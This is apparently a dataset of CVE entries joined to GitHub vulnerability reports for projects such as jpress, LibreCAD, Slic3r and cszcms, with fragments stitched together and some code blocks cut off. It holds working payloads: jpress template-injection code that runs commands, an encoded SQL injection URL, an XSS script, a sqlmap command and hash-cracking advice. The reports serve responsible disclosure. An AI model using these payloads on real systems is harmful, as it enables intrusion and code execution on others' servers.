CVE-2021-44981 | 2022-01-24T13:15:08.177 | In QuickBox Pro v2.5.8 and below, the config.php file has a variable which takes a GET parameter value and parses it into a shell_exec(''); function without properly sanitizing any shell arguments, therefore remote code execution is possible. Additionally, as the media server is running as root by default attackers can use the sudo command within this shell_exec(''); function, which allows for privilege escalation by means of RCE. | {

] | Hey there!
I belong to an open source security research community, and a member (@websecnl) has found an issue, but doesn’t know the best way to disclose it.
If not a hassle, might you kindly add a `SECURITY.md` file with an email, or another contact method? GitHub [recommends](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!

CVE-2022-21711 | 2022-01-24T20:15:08.657 | elfspirit is an ELF static analysis and injection framework that parses, manipulates, and camouflages ELF files. When analyzing the ELF file format in versions prior to 1.1, there is an out-of-bounds read bug, which can lead to application crashes or information leakage. By constructing a special format ELF file, the information of any address can be leaked. elfspirit version 1.1 contains a patch for this issue. | {

## Vulnerable versions
* saitoha/libsixel at the latest (6a5be8b72d84037b83a5ea838e17bcf372ab1d5f) commit
* libsixel/libsixel at the latest (bc93c8ce570b35b8f3bb429ea5892ac260e4c8b1) commit
## Steps to reproduce
`img2sixel stbio_1561_poc.bin`
Input file (a malformed PICT-format image) is [attached](https://github.com/libsixel/libsixel/files/7715065/stbi_1561_poc.zip)
## Cause
Segmentation fault in `stbi__convert_format` at `stb_image.h:1561`:
```c
switch (STBI__COMBO(img_n, req_comp)) {
/* ... */
STBI__CASE(4,3) { dest[0]=src[0],dest[1]=src[1],dest[2]=src[2]; } break;
/* ... */
}
```
The `src` pointer is `NULL`, as passed in from `stbi__pic_load`.
The source of the NULL pointer is the malloc at line `6120`:
```c
result = (stbi_uc *) stbi__malloc_mad4(x, y, 4, 0);
```
whose output is never checked for `NULL`. The x and y dimensions (39168, 5888) are read
directly from the input file, and they pass the check in `stbi__mad3sizes_valid` which
only checks for integer overflow.
The total size of the allocated buffer is `39168 * 5888 * 4` and allocation fails.
## Impact
Denial of service is the only obvious impact.
## Mitigation
`stb_image` starting at version 2.27 (commit 50072f66589f52f51eb5b3f56b9272ea8ec1fdac) include a check for this condition. libsixel should be brought up-to-date with this version if possible.
If not, backport [the check](https://github.com/nothings/stb/blob/af1a5bc352164740c1cc1354942b1c6b72eacb8a/stb_image.h#L6448) as well as similar error checks for other malloc calls.

* LibreCAD 2.2.0-rc3 and older
* Jw_cad 8.24a and older
### Steps to reproduce or sample file
1. Start LibreCAD 2.2.0-rc3 in a debugger
2. File/Open...
3. Unzip and open the attached [proof of concept file](https://github.com/LibreCAD/LibreCAD/files/7739792/jww_cdatamoji.zip)
4. Observe `ACCESS_VIOLATION` crash, with `eip=0x41414141` (AAAA)
Screenshot:
### Cause
The `CDataMoji` entity deserialization at `LibreCAD/libraries/jwwlib/src/jwwdoc.h` is vulnerable to
a stack buffer overflow.
`char buf[512]` declared in `CDataMoji::Serialize()` on [line 512](https://github.com/LibreCAD/LibreCAD/blob/768285653c46e734a75460928142cda1a33c2c53/libraries/jwwlib/src/jwwdoc.h#L512)
is of fixed size 512. Some varieties of `CDataMoji` provide their own size, e.g. MojiData2 on [line 523](https://github.com/LibreCAD/LibreCAD/blob/768285653c46e734a75460928142cda1a33c2c53/libraries/jwwlib/src/jwwdoc.h#L523)
and no bounds checking is performed. This allows an attacker to overflow `buf` and overwrite other stack variables,
including the return address.
The attached PoC file is tuned to trigger this behavior in the latest windows release of LibreCAD, but the same bug is also present
in older versions and on other platforms.
### Impact
An attacker can craft a JW-CAD input file and thereby gain control over execution flow (EIP controlled directly).
This allows an attacker to run arbitrary code on the system running LibreCAD, with the privileges of the current user.
### Proposed Mitigation
1. Perform bounds checking in `CDataMoji::Serialize()`, and refuse to load the file if it would overflow `buf`.
2. Enable stack smashing protection in the windows build of LibreCAD.

* LibreCAD 2.2.0-rc3 and older
### Steps to reproduce or sample file
1. Start LibreCAD 2.2.0 in a debugger
2. File/Open...
3. Unzip and open the [attached proof-of-concept file](https://github.com/LibreCAD/LibreCAD/files/7740065/jww_cdatalist.zip)
4. Observe `ACCESS_VIOLATION` crash, with `eip=0x41414141` (AAAA)
Screenshot:
### Cause
The `CDataList` entity deserialization in `LibreCAD/libraries/jwwlib/src/jwwdoc.h` is vulnerable to a stack buffer overflow. `char buf[512]` declared in `CDataList::Serialize()` on [line 784](https://github.com/LibreCAD/LibreCAD/blob/768285653c46e734a75460928142cda1a33c2c53/libraries/jwwlib/src/jwwdoc.h#L784) is of fixed size 512. One variety of `CDataList` provides its own size field, as seen on [line 795](https://github.com/LibreCAD/LibreCAD/blob/768285653c46e734a75460928142cda1a33c2c53/libraries/jwwlib/src/jwwdoc.h#L795) and no bounds checking is performed. This allows an attacker to overflow `buf` and overwrite other stack variables, including the return address.
The attached PoC file is tuned to trigger this behavior in the latest windows release of LibreCAD, but the same bug is also present
in older versions and on other platforms.
**Note**: This is similar to, but distinct from issue #1462
### Impact
An attacker can craft a JW-CAD input file and thereby gain control over execution flow (EIP controlled directly).
This allows an attacker to run arbitrary code on the system running LibreCAD, with the privileges of the current user.
### Proposed Mitigation
1. Perform bounds checking in `CDataList::Serialize()`, and refuse to load more data to `buf` than actually supported.
2. Enable stack smashing protection in the windows build of LibreCAD.

1. Unzip and load the [attached proof of concept file](https://github.com/LibreCAD/LibreCAD/files/7741210/dxf_hatch93.zip) in LibreCAD 2.2.0-rc3
### Cause
The `std::shared_ptr` `DRW_Hatch::loop` is written to when loading a `HATCH` entity with code 93. If this occurs before a code 92, the pointer is still `NULL`, leading to a crash.
### Impact
Denial of service.
### Proposed Mitigation
Ensure that `DRW_Hatch::loop` is not NULL before dereferencing at `drw_entities.cpp:1808`

A crafted AMF XML document can cause a crash due to a NULL pointer dereference during parsing.
### Vulnerable versions
* Slic3r (commit b1a5500f427700ac3dffc0e7d9535ea65f993537)
### Step to reproduce
1. Create the proof-of-concept OBJ file (`nullptr_amf_metadata.amf.xml`):
```
<amf unit="millimeter">
<object id="0">
<metadata>dummy</metadata>
</object>
</amf>
```
2. Execute `slic3r --info nullptr_amf_metadata.amf.xml`
3. Observe segmentation fault.
### Example file
[nullptr_amf_metadata.amf.xml.zip](https://github.com/slic3r/Slic3r/files/7777329/nullptr_amf_metadata.amf.xml.zip)
### Cause
An attempt is made to read the `type` attribute of the `<metadata>` tag, at [AMF.cpp:189](https://github.com/slic3r/Slic3r/blob/b1a5500f427700ac3dffc0e7d9535ea65f993537/xs/src/libslic3r/IO/AMF.cpp#L189). The PoC contains a `metadata` tag without a `type` attribute.
`get_attribute()` returns NULL, and thus the creation of the `std::string m_value[0]` crashes.
### Impact
Denial of Service.
### Proposed mitigation
Check for NULL before trying to construct the `std::string`, set a default value or reject the tag. Similar checks are already in place at [line 163](https://github.com/slic3r/Slic3r/blob/b1a5500f427700ac3dffc0e7d9535ea65f993537/xs/src/libslic3r/IO/AMF.cpp#L163) and others. | NULL pointer dereference in AMF XML parser (metadata tag without type attribute) | https://api.github.com/repos/slic3r/Slic3r/issues/5117/comments | 2 | 2021-12-26T17:21:29Z | 2022-02-01T23:28:44Z | https://github.com/slic3r/Slic3r/issues/5117 | 1,088,812,181 | 5,117 | 3,099 |

2. Pack the file into a zip archive together with the prerequisite other files from a 3mf file:

```
3. Rename the zip archive to `nullptr_3mf_vertex.3mf`
4. Execute `slic3r --info nullptr_3mf_vertex.3mf`
5. Observe segmentation fault.

### Vulnerable versions
* Slic3r (commit b1a5500f427700ac3dffc0e7d9535ea65f993537)
### Step to reproduce
1. Create the proof-of-concept OBJ file (`3dmodel.3dmodel`):
```xml
<model>
<resources>
<object id="1">
<mesh>
<vertices>
<slic3r:volume />

3. Rename the zip archive to `nullptr_3mf_volume.3mf`
4. Execute `slic3r --info nullptr_3mf_volume.3mf`
5. Observe segmentation fault.
### Example file
[nullptr_3mf_volume.zip](https://github.com/slic3r/Slic3r/files/7777550/nullptr_3mf_volume.zip)
### Cause
`get_attribute()` in TMF.cpp returns NULL if the sought attribute is missing. The constructor of `std::string` is invoked implicitly, leading to a crash (`std::string(NULL)`). The check at [TMF.cpp:602](https://github.com/slic3r/Slic3r/blob/b1a5500f427700ac3dffc0e7d9535ea65f993537/xs/src/libslic3r/IO/TMF.cpp#L602) is ineffective, since it occurs after the NULL pointer is dereferenced.
### Impact
Denial of Service.
### Proposed mitigation
Perform a NULL check on the return values from `get_attribute` before constructing strings from them. Ensure that the NULL check terminates parsing, as proposed in #5118 and #5119. | NULL pointer dereference in 3MF XML parser (slic3r:volume tag without ts/te/modifier attribute) | https://api.github.com/repos/slic3r/Slic3r/issues/5120/comments | 2 | 2021-12-26T20:44:57Z | 2022-01-31T12:46:34Z | https://github.com/slic3r/Slic3r/issues/5120 | 1,088,841,969 | 5,120 | 3,102 |

[Attack Type]
Remote
[Vulnerability details]
first, prepare two test accounts with different levels.
Senior administrator admin
Low level administrator root123
Step 2: log in to the system with root123 and enter the user management page
Step 3: click the delete button to directly delete the administrator user admin
Delete succeeded！
In addition, you can also use burpsuite to capture packets and delete any user (including yourself) by modifying the value of ids. This is a logical vulnerability because the default secondary rule of the system is that you cannot delete yourself)
The first step is to log in to the background with root123 account and enter user management.
Step 2: after the packet capturing mode is enabled, click the delete button corresponding to user test
You can delete any user by modifying the value of IDS. Here, I modify the value of IDS to the value of the currently logged in user.
Delete succeeded！

**与之前一篇不同，之前交过一个邮件模板注入的洞，之前那个触发点是在article的评论处，这次是在page的评论处，代码很相似，但不是同一份代码**
jpress后台提供了**评论邮件通知管理员**功能，而且发送的邮件模板可控，官方给出了例子，告诉我们可以用`#(comment.id)`，那么猜测这里可能会存在模板渲染问题
接着，尝试发一条评论看看后端代码的执行流程，后端对应的代码是`io.jpress.module.page.controller.PageController#postComment`，这个方法的作用主要是将评论信息保存到数据库，同时还会发送短信通知网站管理员
跟进`io.jpress.module.page.PageNotifyKit#notify`，发现这里定义了两种方式，一个是sms发送，一个是email，我们跟进email的
发现`byEmail`方法会继续调用`doSendEmail`，这个函数里面有模板渲染操作，在第90和91行，分别对邮件的emailTitle和emailTemplate调用`getTemplateByString`进行渲染，这两个变量实际上就是最开始我们在前端页面输入的
分析到这里，结合之前交过的那个article页面的邮件模板rce，应该可以直接打模板注入了
# 效果演示
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱，随便配一个，这个是收件者
还得配置发送者的邮箱，**配置完记得点提交，拉到最下面点提交**
然后设置恶意邮件模板，**同样记得要提交**
```
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem))
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js))
#(e.eval(str))
```
接下来，我们需要更换一个页面模板，因为默认的模板是不提供page的模板的，启用这个模板
然后创建一个page，点击发布
访问一下我们创建的page
接下来，在page页面评论如下内容
```
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
```

jpress后台存在模板安装功能，攻击者可以安装恶意模板造成rce。
在页面上点击安装模板
上传恶意模板之后，程序运行到`io.jpress.web.admin._TemplateController#doInstall`，这个函数的作用是将上传的zip文件解压，然后存到classes/webapp/templates目录下，这个目录是专门用来存储模板文件的
来看具体代码，`io.jpress.web.admin._TemplateController#doInstall`方法前面主要是一系列检查，检查是不是zip，文件是否已经存在等，最后来到156行，解压zip，然后这个方法就基本结束了。
然后就可以看到，我们写的恶意模板已经被解压到了这个目录下
不过模板注入存在些许过滤，我们使用fastjson来辅助获取`ScriptEngineManager`，然后执行任意js代码，就可以实现rce，payload如下
```
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager"))
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
```
接下来怎么进行利用呢？看到后台这个地方存在一个模板预览功能
开启之后可以通过get传入template参数来指定使用的模板，比如这里我们指定使用`cn.jeanstudio.bonhumeur`这个模板
那么，接下来就很简单了，我们只需要指定使用我们刚刚上传的恶意模板就行了
# 效果演示

jpress后台提供了**评论邮件通知管理员**功能，而且发送的邮件模板可控，官方给出了例子，告诉我们可以用`#(comment.id)`，那么猜测这里可能会存在模板渲染问题
接着，尝试发一条评论看看后端代码的执行流程
后端对应的代码是`io.jpress.module.article.controller.front.ArticleController#postComment`，这个方法的作用主要是将评论信息保存到数据库，同时还会发送短信通知网站管理员
跟进`io.jpress.module.article.kit.ArticleNotifyKit#notify`，发现这里定义了两种方式，一个是sms发送，一个是email，我们跟进email的
发现`byEmail`方法会继续调用`doSendEmail`，这个函数里面有模板渲染操作，在第90和91行，分别对邮件的emailTitle和emailTemplate调用`getTemplateByString`进行渲染，这两个变量实际上就是最开始我们在前端页面输入的
分析到这里应该可以直接打模板注入了，构造如下payload
```
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
```
然后随便发一条评论，这时会触发邮件发送，就会触发ssti。但是很遗憾，评论之后发现触发失败了，后端出现了报错
排查问题后发现，我们的payload被后端处理过，**payload中的引号被html编码了**，那么在模板解析的时候自然就报错了。
因此尝试不使用引号构造payload，构造出了如下payload，我们将字符串内容通过评论内容进行传入
```
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem))
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js))
#(e.eval(str))
```
因为后端在渲染模板时将comment对象传入了，所以我们可以获取comment.content，而这个值又是在评论时我们可以控制的，最终就造成了rce
# 效果演示
首先通过弱密码进入后台
然后开启这两项
然后配置管理员邮箱，随便配一个，这个是收件者
还得配置发送者的邮箱，**配置完记得点提交，拉到最下面点提交**
然后设置恶意邮件模板，**同样记得要提交**
```
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem))
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js))
#(e.eval(str))
```
接下来，随便找一篇博客在下面评论这个payload
```

] | Hi, I found a front-end sql injection vulnerability in cszcms-1.2.9
The vulnerable code is on `cszcms\controllers\Member.php#viewUser`
The `$this->uri->segment(3)` parameter here can be controlled by the user
And no filtering leads to sql injection vulnerability
First register a user in the foreground, then log in, then visit
`/member/viewUser/%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3e%31%29%2c%31%2c%30%29%23`
```
%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3e%31%29%2c%31%2c%30%29%23
=>
'||if((length(database())>1),1,0)#
```
The content returned by the webpage is:

The content returned by the webpage is:
It's a Boolean-based SQL injection
Suggest: Add a filter function to this parameter

] | As with many web-based apps, the admin user can run arbitrary code on the underlying system via the web-gui. While that may or may not be a security issue, and for meye use cases it probably isn’t, I feel that the lack of password on the admin account has left many publicly available systems open to exploitation.
I’d suggest a feature to implement a random password on initial installation. Off hand, I don’t really know how that would look. I may be able to implement something if I find time.
Here is a link to my post about the code execution:
https://www.pizzapower.me/2021/10/09/self-hosted-security-part-1-motioneye/
Long story short - an admin can run arbitrary code via the option to run commands when motion is detected (obviously). Additionally, an admin can upload a backup that contains a malicious tasks.pickle file that will execute arbitrary code. | Lack of admin password leaves many publicly available systems vulnerable to RCE | https://api.github.com/repos/motioneye-project/motioneyeos/issues/2843/comments | 4 | 2021-11-21T15:35:01Z | 2021-12-19T13:38:16Z | https://github.com/motioneye-project/motioneyeos/issues/2843 | 1,059,410,206 | 2,843 | 3,159 |

# CVE-2020-36056
[Cross-site scripting] (XSS)
Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target the application itself. Instead, the users of the web application are the ones at risk.
[Step To Reproduce]
1) Login to your router
2) After signing
3) Select for Maintance Mode
4) Go to Ping Diagnostic option
5) In the host Name field, enter any of these payloads:
<script> alert ("Hacked") </script>

**Hardcoded Credentials:**
Hardcoded Passwords, also often referred to as Embedded Credentials, are plain text passwords or other secrets in source code. Password hardcoding refers to the practice of embedding plain text (non-encrypted) passwords and other secrets (SSH Keys, DevOps secrets, etc.) into the source code. Default, hardcoded passwords may be used across many of the same devices, applications, systems, which helps simplify set up at scale, but at the same time, poses a considerable cybersecurity risk.
**[Attack Vectors]**
An attacker can gain admin panel access using default credentials and do malicious activities
**Proof Of Concept**
1 Download source code from https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
2 Now unzip it and go to the Database folder here we can see one SQL file.
3 Now open that file using Notepad and there we can see admin credentials. but the password is encrypted .from pattern I identified that this is MD5 hash. so we can easily decrypt using crackstation.net or any hash cracker tools like Hashcat, John the ripper.

] | CVSS Rating: **Low** ([CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N))
A security issue was discovered in Kubernetes where an authorized user may be able to access private networks on the Kubernetes control plane components. Kubernetes clusters are only affected if an untrusted user can create or modify Node objects and proxy to them, or an untrusted user can create or modify StorageClass objects and access KubeControllerManager logs.
This issue has been rated Low (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N) and assigned CVE-2020-8562.
As mitigations to a report from 2019 and CVE-2020-8555, Kubernetes attempts to prevent proxied connections from accessing link-local or localhost networks when making user-driven connections to Services, Pods, Nodes, or StorageClass service providers. As part of this mitigation Kubernetes does a DNS name resolution check and validates that response IPs are not in the link-local (169.254.0.0/16) or localhost (127.0.0.0/8) range. Kubernetes then performs a second DNS resolution without validation for the actual connection. If a non-standard DNS server returns different non-cached responses, a user may be able to bypass the proxy IP restriction and access private networks on the control plane.
### Affected Versions:
All versions of Kubernetes are affected
### Fixed Versions
There is no fix for this issue at this time.
### Mitigations
If this issue affects your clusters’ control planes, you can use dnsmasq for name resolution and configure the min-cache-ttl and neg-ttl parameters to a low non-zero value to enforce cached replies for proxied connections.
### Detection
This issue is not known to be directly detectable, but proxied calls will appear in the Kubernetes API Audit log. Kubernetes will respond with “address not allowed” when the validation successfully prevents a connection.
### Acknowledgements
This vulnerability was reported by Javier Provecho (Telefonica).

] | **Describe the bug**
A carefully crafted RAR archive can trigger an infinite loop while parsing the file. This could be used to mount a denial of service attack against services that use junrar.
**To Reproduce**
```
String encodedString = "UmFyIRoHAM+Qcw4AAAAAKgAAAAAXF3QggE4ASwEAACICAAADZXUl9710qkIdNC4ApIEAAF9fTUlDT1NYXC5fYXBwbGUpdG91Y2gtaWNvbi03MC1wcmVjb21wb3NlZC5wbmcJ3RFMy9WBV2REVHpele6iC2cnv5JltbeqElgNF1pFjxFEQOWXhHq2ScsnIV5jb21wb3NlZC6Qcw4AAAAAKgAAAGREVA+VZ3qi7l4nv5Jly7W3qhJYDZDaRcURs78ajbZ7SWjLJyFah8afvQIAAADEvXYBRXwAQAUBBgAAAAAAAC/jZmlgun4oIP1Z4AG7ybwKgFwrlLrUKiSxjkiGPQFX/wAAL/8A////////+SVUCUzV3REly4FXZEReVHqV7qJYZyezxAAAAAAAAL+SZbVft6ruqo0QWkWPEUSMA5dA5QCE+3q2AAAAAAAAAgBJyyMhXocAAAAAAIefGkfCXwV8FHoKlbPhXgA//O5fgDAhAQAAAAAAAABuZphoBm71hnkO4GbmYGm6fs7f/VkAAAACAAFXqLsj6Xd3d3d3d3d3d3dgd3d3d3d3d3d3d3d3V3d3d3d3d3d3d3d3d3d3d3d3d3dzd3V3d3fTd3d3OJIAAABSAHIhGgcAz5BzAAANAAAAAAAAABcXdHkASwEAACICAAAD////////////////////+////////z1ldSV3dw==";
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);

while (true) {
FileHeader fileHeader = archive.nextFileHeader();
if (fileHeader == null) {
break;
}
archive.extractFile(fileHeader, OutputStream.nullOutputStream());
}
```
**Expected behavior**
Infinite loop.
**File**

**Environment (please complete the following information):**
- OS: Mac OS 12.1 & Ubuntu Linux 16.04 (4.15.0-163-generic)
- Junrar version: 7.4.0
**Additional context**
It seems this PoC can reach [this while loop] (https://github.com/junrar/junrar/blob/dc3d299b1596e8750f386021d6b4efde6c84bceb/src/main/java/com/github/junrar/unpack/vm/RarVM.java#L227-L629)

CVE-2021-41571 | 2022-02-01T13:15:09.663 | In Apache Pulsar it is possible to access data from BookKeeper that does not belong to the topics accessible by the authenticated user. The Admin API get-message-by-id requires the user to input a topic and a ledger id. The ledger id is a pointer to the data, and it is supposed to be a valid it for the topic. Authorisation controls are performed against the topic name and there is not proper validation the that ledger id is valid in the context of such ledger. So it may happen that the user is able to read from a ledger that contains data owned by another tenant. This issue affects Apache Pulsar Apache Pulsar version 2.8.0 and prior versions; Apache Pulsar version 2.7.3 and prior versions; Apache Pulsar version 2.6.4 and prior versions. | {

] | Hey,I think there is a SQL Injection vulnerability in this system.
The file about.php does not perform input validation on the 'id' paramter. So An attacker can append SQL queries to the input to extract sensitive information from the database.
1.Navigate to the about page:
Example:http://172.16.180.135:8022/about.php?id=2
2.Save the request to file.
Example:
GET /about.php?id=2 HTTP/1.1
Host: 172.16.180.135:8022
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=9796kkls37f6d7l72qc806mge9
Upgrade-Insecure-Requests: 1
3.Run SQLmap on the file
Example:sqlmap -r request.txt --dbms=mysql --threads=10
4.Get sensitive information from the database

Commit 605b2edf07ed8eb9a2c61ba22eb2e7c362f47ba7 introduced a configuration case called `YR_CONFIG_MAX_PROCESS_MEMORY_CHUNK `, which will treat the `void *src` pointer as a `uint64_t*` pointer (64bit). The dereferece operation after this will read 64bits from src.
https://github.com/VirusTotal/yara/blob/605b2edf07ed8eb9a2c61ba22eb2e7c362f47ba7/libyara/libyara.c#L381-L403
Note that, in cli/yara.c, a pointer to the 32bit integer `max_process_memory_chunk` is passed to `yr_set_configuration`. As a result, `yr_cfgs[name].ui64 = *(uint64_t *) src;` will read 64bits from a 32bit variable. This caused the ERROR reported by ASAN.
https://github.com/VirusTotal/yara/blob/605b2edf07ed8eb9a2c61ba22eb2e7c362f47ba7/cli/yara.c#L166

A potential damage of this is that an attacker who obtains control of `max_process_memory_chunk`'s next 4 bytes in the memory can further set the higher 32bits of `yr_cfgs[name].ui64` to arbitrary values and launch exhaustive attacks. | Possible insecure pointer conversion in yr_set_configuration() leading to global-buffer-overflow | https://api.github.com/repos/VirusTotal/yara/issues/1616/comments | 3 | 2021-12-15T18:01:26Z | 2021-12-20T09:31:28Z | https://github.com/VirusTotal/yara/issues/1616 | 1,081,328,626 | 1,616 | 3,175 |

Here is the trace reported by debugging. We can see that the `memcpy` function is called on line 1053 of `utils/bitstream.c`, which will copy the contents of the second parameter `data` to the buffer pointed to by the first parameter. Unfortunately, in this trace the `data` is 0 (NULL), causing the program to crash.

I tracked the null assignment of `data` in `isomedia/box_code_base.c`. `data2` is initialized to NULL in line 12743. When the value of `prop_size` is greater than 4 ( line 12764 ), the program will allocate a memory chunk to `data2` ( line 12769 ). Otherwise, `data2` will remain NULL and will be assigned to `tag->prop_value` in line 12777.
In my crash, `prop_size` was set to 1 causing `tag->prop_value` to be NULL. The `tag` is then added to `ptr->tags` for subsequent access ( line 12779).
https://github.com/gpac/gpac/blob/5d68ccd1fa4a5a76cf8db31a33cfb4a2fe2bd4ad/src/isomedia/box_code_base.c#L12736-L12786
When the program executes to `xtra_box_write`, it will get a `tag` from `ptr->tags` ( line 12801 ), and pass `tag->prop_value` to the second parameter of `gf_bs_write_data` ( line 12814 ), which eventually results in `data` being NULL.
Although the program judges whether `tag->prop_value` is 0 in line 12805, it does not change the execution flow of the program and the value of `tag->prop_value`.
https://github.com/gpac/gpac/blob/5d68ccd1fa4a5a76cf8db31a33cfb4a2fe2bd4ad/src/isomedia/box_code_base.c#L12791-L12817
Hope my analysis will help.

CVE-2022-23562 | 2022-02-04T23:15:13.843 | Tensorflow is an Open Source Machine Learning Framework. The implementation of `Range` suffers from integer overflows. These can trigger undefined behavior or, in some scenarios, extremely large allocations. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. | {

2. TF 2.0: `python -c "import tensorflow as tf; print(tf.version.GIT_VERSION, tf.version.VERSION)"`
**Describe the current behavior**
https://github.com/tensorflow/tensorflow/blob/0b67dee3f02e2e055230ca6dd6cc7d090af72baa/tensorflow/core/ops/math_ops.cc#L1484 has undefined behaviour when size is greater than std::numeric_limits<int64_t>::max()
This leads to the unit test RangeTest.testLargeStarts failing on AARCH64 where the g++ implements different behaviour from x86. On x86 the result of the cast is large and -ve, on AARCH64 it is large and +ve. Neither is incorrect as the behaviour of casting into a type that cannot hold the value is undefined.
**Describe the expected behavior**
The code should be written to avoid relying on undefined behaviour of the source.
**[Contributing](https://www.tensorflow.org/community/contribute)**
- Do you want to contribute a PR? (yes/no): yes
- Briefly describe your candidate solution(if contributing):
Test the variable 'size' for exceeding the greatest possible value that can be safely cast to int64_t and throw an error if found.
**Standalone code to reproduce the issue**
Provide a reproducible test case that is the bare minimum necessary to generate
the problem. If possible, please share a link to Colab/Jupyter/any notebook.
